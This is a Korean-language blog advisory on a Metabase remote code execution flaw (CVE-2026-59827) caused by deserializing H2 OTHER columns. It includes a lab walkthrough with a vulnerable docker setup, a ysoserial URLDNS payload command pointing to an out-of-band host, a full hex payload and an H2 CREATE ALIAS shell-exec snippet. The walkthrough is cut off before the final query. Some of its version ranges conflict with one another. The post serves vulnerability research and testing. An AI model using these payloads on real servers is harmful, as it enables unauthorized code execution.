
CVE-2026-59827, 안전하지 않은 H2 쿼리 출력 역직렬화에 대한 블로그
GHSA-w95f-x9v9-wv36 | CVSS 9.9 치명적 | CWE-502: 신뢰할 수 없는 데이터의 역직렬화
CVE-2026-59827은 인기 있는 오픈소스 비즈니스 인텔리전스 및 데이터 분석 플랫폼인 Metabase의 치명적인 원격 코드 실행 취약점입니다. 이 결함은 Metabase가 H2 데이터베이스 연결에서 반환된 쿼리 결과를 처리하는 방식에서 비롯됩니다. H2 소스에 대한 네이티브 SQL 쿼리가 OTHER로 타입이 지정된 열을 반환할 때, Metabase는 해당 열의 원시 바이트를 유효성 검사 없이 Java 객체로 역직렬화합니다. 따라서 네이티브 쿼리를 실행할 수 있는 인증된 사용자는 악성 직렬화 페이로드를 결과 집합에 밀반입하여 Metabase를 호스팅하는 서버에서 임의 코드 실행을 트리거할 수 있습니다.
이 취약점은 CVSS 점수 9.9를 할당받았으며, 이는 필요한 최소 조건과 성공적인 악용 시 발생하는 완전한 서버 측 코드 실행을 반영합니다.
Metabase는 동일한 릴리스 주기에서 두 개의 병렬 에디션 트랙을 제공합니다. 오픈소스 에디션은 버전 번호 앞에 0을 붙입니다(예: v0.61.1). 엔터프라이즈(상용) 에디션은 버전 번호 앞에 1을 붙입니다(예: v1.61.1). 두 에디션은 동일한 코드베이스를 공유하며 함께 릴리스되므로, v1.61.0에 영향을 미치는 취약점은 마찬가지로 v0.61.0에도 영향을 미칩니다. 이 글 전체에서 버전 번호는 엔터프라이즈 1.xx 접두사를 사용하여 표기되지만, 영향을 받는 모든 버전은 선행 1을 0으로 바꾸면 해당 오픈소스 버전에 직접 매핑됩니다.
CVE-2026-59826과 CVE-2026-59827은 모두 2026년 7월에 함께 공개되었습니다. 이들은 버전 범위가 겹치지만 패치 시점이 다릅니다.
취약한 엔터프라이즈 릴리스는 1.58.0 ~ 1.58.14, 1.59.0 ~ 1.59.11, 1.60.0 ~ 1.60.6.2, 1.61.0 ~ 1.61.1.3입니다. 해당 오픈소스 릴리스는 0.58.0 ~ 0.58.14, 0.59.0 ~ 0.59.11, 0.60.0 ~ 0.60.6.2, 0.61.0 ~ 0.61.1.3입니다.
내부 패치는 먼저 1.61.1.4(엔터프라이즈) 및 0.61.1.4(오픈소스)로 발행되었습니다. 1.61 라인에서 처음으로 공개적으로 사용 가능한 수정 릴리스는 1.61.2(v1.61.2.x / v0.61.2.x)입니다. Metabase Cloud 인스턴스는 공급자에 의해 자동으로 패치되었습니다.
취약한 엔터프라이즈 릴리스는 1.55.0 ~ 1.58.15.0, 1.59.0 ~ 1.59.11, 1.60.0 ~ 1.60.6.2, 1.61.0 ~ 1.61.1.x 전체 라인입니다. 첫 번째 완전 패치된 공개 릴리스는 1.61.2(v1.61.2.x / v0.61.2.x)입니다. CVE-2026-59826의 범위는 더 넓어 1.55 릴리스 라인까지 거슬러 올라가며, 이는 악용하는 충분히 검증되지 않은 데이터베이스 생성 코드 경로가 오래 존재해 왔음을 반영합니다.
Java의 직렬화 메커니즘을 사용하면 메모리의 객체를 바이트 스트림으로 변환하여 저장하거나 전송한 후, ObjectInputStream.readObject()를 호출하여 나중에 재구성할 수 있습니다. 이 메커니즘의 중요한 속성은 재구성 과정에서 코드가 실행된다는 점입니다. 클래스 생성자, readObject 재정의, 종료자(finalizer)는 모두 역직렬화 중에 실행됩니다. 읽고 있는 바이트가 신뢰할 수 없는 출처에서 온 경우, 공격자는 JVM에 이미 로드된 기존의 합법적인 클래스들의 시퀀스를 통해 임의 메서드 호출을 트리거하도록 바이트를 조작할 수 있습니다. 이러한 시퀀스를 가젯 체인(gadget chain)이라고 합니다.
가젯 체인은 애플리케이션에 새 코드를 도입할 필요가 없습니다. 역직렬화 중에 올바른 순서로 호출될 때 결국 Runtime.exec()와 같은 싱크(sink)에 도달하는 기존 라이브러리 클래스의 배선을 악용합니다. ysoserial과 같은 도구는 Apache Commons Collections, Spring Framework 등 널리 배포된 라이브러리용 페이로드를 생성하기 위해 특별히 존재합니다.
H2는 순수 Java 임베디드 관계형 데이터베이스입니다. 임의 Java 객체의 통로 역할을 하는 OTHER라는 특수 SQL 열 타입을 정의합니다. H2가 OTHER 열에 값을 저장할 때 Java의 ObjectOutputStream이 생성한 바이트를 씁니다. 값을 다시 읽을 때 ObjectInputStream.readObject()를 호출하여 객체를 재구성합니다. 원시 직렬화 바이트는 H2의 16진수 리터럴 구문을 사용하여 쿼리에 직접 제공할 수도 있습니다:
SELECT CAST(X'ACED0005...' AS OTHER);
-- 또는
SELECT X'ACED0005...'::OTHER;
접두사 ACED와 0005는 Java 직렬화 스트림 매직 넘버 및 프로토콜 버전입니다. ACED0005로 시작하는 모든 16진수 문자열은 Java 직렬화 객체 스트림입니다.
H2가 이 쿼리를 처리하면 데이터베이스 측에서 16진수 바이트를 역직렬화합니다. 결과 객체는 JDBC ResultSet을 통해 호출 애플리케이션으로 다시 전달됩니다. 애플리케이션이 열 값을 검사하는 경우(예: 표시 목적으로 포맷) 추가 처리가 트리거될 수 있습니다. 이것이 바로 취약한 코드 경로에서 Metabase가 수행하는 작업입니다.
Metabase는 H2 드라이버로부터 JDBC ResultSet을 수신하고 열 메타데이터를 검사하여 각 값을 사용자에게 렌더링하는 방법을 결정합니다. JDBC 타입 Types.OTHER(또는 JAVA_OBJECT로 보고됨)의 열을 만나면 취약한 버전의 Metabase는 표시 가능한 표현을 생성하기 위해 원시 바이트를 역직렬화하려고 시도합니다. 이 역직렬화 호출 ObjectInputStream.readObject()는 화이트리스트 필터링이나 클래스 검증 없이 실행됩니다.
이벤트 시퀀스는 다음과 같습니다:
OTHER 타입의 열을 반환하는 네이티브 SQL 쿼리를 제출합니다.ResultSet의 JAVA_OBJECT 열로 원시 바이트를 반환합니다.OTHER 열 타입을 만나고 바이트에 대해 readObject()를 호출합니다.Runtime.exec()에 도달하고 공격자의 명령을 실행합니다.패치된 버전은 역직렬화를 시도하기 전에 JDBC 결과 메타데이터를 검사하여 문제를 해결합니다. 열이 JAVA_OBJECT로 타입이 지정된 경우, Metabase는 이제 이를 구문 분석하는 대신 완전히 거부합니다.
악용에는 인증이 필요합니다. 공격자는 H2 기반 데이터베이스에 대해 네이티브 쿼리 실행 권한이 있는 Metabase 계정을 보유해야 합니다. 관리자 계정은 기본적으로 이 조건을 충족합니다. 관리자가 관련 데이터베이스에 대해 네이티브 쿼리 데이터 권한을 부여한 경우 일반 사용자 계정도 이 조건을 충족할 수 있습니다.
Metabase는 2023년에 릴리스된 버전 0.46.6.4에서 H2를 새 데이터 웨어하우스 연결로 추가하는 기능을 제거했습니다. 관리 인터페이스를 통해 새 H2 연결을 등록하려고 하면 "H2는 데이터 웨어하우스로 지원되지 않습니다."라는 오류가 반환됩니다. 이 제거는 이전 H2 관련 취약점에 대한 대응이었으며 공격자가 제어하는 H2 인스턴스에 연결할 위험을 제거하기 위한 것이었습니다.
그러나 데이터 웨어하우스 연결 UI에서 H2를 제거한 것이 Metabase에서 H2를 완전히 제거한 것은 아닙니다. 모든 기본 Metabase 설치에는 두 개의 H2 데이터베이스가 남아 있습니다.
첫 번째는 애플리케이션 데이터베이스입니다. Metabase가 PostgreSQL 또는 MySQL과 같은 외부 데이터베이스를 사용하도록 구성되지 않은 경우, 자체 메타데이터(질문, 대시보드, 사용자 계정, 설정)를 /metabase-data/metabase.db.mv.db의 H2 파일에 저장합니다. 이 데이터베이스는 Metabase UI를 통해 직접 쿼리할 수 없습니다.
두 번째이자 더 직접적으로 악용 가능한 것은 샘플 데이터베이스입니다. 초기 설정 중에 Metabase는 예제 데이터로 미리 채워진 H2 데이터베이스를 생성하고 "Sample Database" 연결로 사용할 수 있게 합니다. 이 연결은 모든 Metabase 인스턴스에 기본적으로 존재하며 CVE-2026-59827의 주요 공격 표면입니다. 사용자가 네이티브 SQL 쿼리를 실행할 수 있는 라이브 H2 연결이며, 관리 패널에 표시되는 연결 문자열은 file:/plugins/sample-database.db를 가리킵니다.
샘플 데이터베이스는 관리자를 포함한 모든 사용자에게 읽기 전용 액세스를 적용합니다. http://localhost:3000/admin/databases의 Metabase 데이터베이스 설정 페이지에서는 연결된 데이터베이스에 쓰기 액세스 권한을 부여할 수 있지만, 샘플 데이터베이스에는 토글이 없습니다. 즉, CREATE, UPDATE, DELETE와 같은 데이터 조작 언어 문을 일반적인 방법으로 샘플 데이터베이스에 대해 실행할 수 없습니다.
이 제한은 특정 대체 공격 경로를 차단하므로 중요합니다. 예를 들어 H2 엔진은 Java 함수를 정의하고 호출할 수 있는 CREATE ALIAS 문을 지원합니다:
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
샘플 데이터베이스에서 쓰기 액세스가 잠겨 있기 때문에 이 DDL 경로는 사용할 수 없습니다. SELECT CAST(X'...' AS OTHER)를 통한 역직렬화 경로는 모든 사용자에게 허용되는 SELECT 문만 필요하기 때문에 실행 가능한 익스플로잇 벡터입니다.
통제된 실험실 환경에서 이 취약점을 테스트하려면 영향을 받는 범위 내의 Metabase 버전을 실행하십시오:
docker run -d -p 3000:3000 \
--name metabase-vulnerable \
-v metabase-data:/metabase-data \
metabase/metabase:v0.61.1
Metabase는 http://localhost:3000에서 초기화되고, /metabase-data/metabase.db.mv.db에 H2 애플리케이션 데이터베이스를 생성하며, 샘플 데이터베이스를 자동으로 프로비저닝합니다. 초기 계정 설정을 완료하여 인증된 세션을 얻으십시오. 설정 후, Sample Database의 SQL 편집기로 이동하십시오. 이것이 익스플로잇의 실행 환경입니다.
명령 실행을 시도하기 전에 역직렬화 경로에 도달 가능한지 확인하십시오. ysoserial의 URLDNS 가젯 체인은 역직렬화될 때 지정된 호스트 이름으로 아웃바운드 DNS 조회를 수행하는 페이로드를 생성합니다. 시스템 명령을 실행하지 않으므로 readObject()가 실제로 호출되는지 확인하는 안전한 프로브입니다.
페이로드 생성:
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://your-oast-hostname.oast.fun' | xxd -p | tr -d '\n'
이 명령은 aced0005로 시작하는 16진수 문자열을 생성합니다. 캡처된 페이로드의 16진수 출력 예:
aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78
Metabase에서 Sample Database에 대한 SQL 편집기를 열고 다음을 실행하십시오(OAST 호스트 이름에 대해 생성된 16진수 문자열로 대체):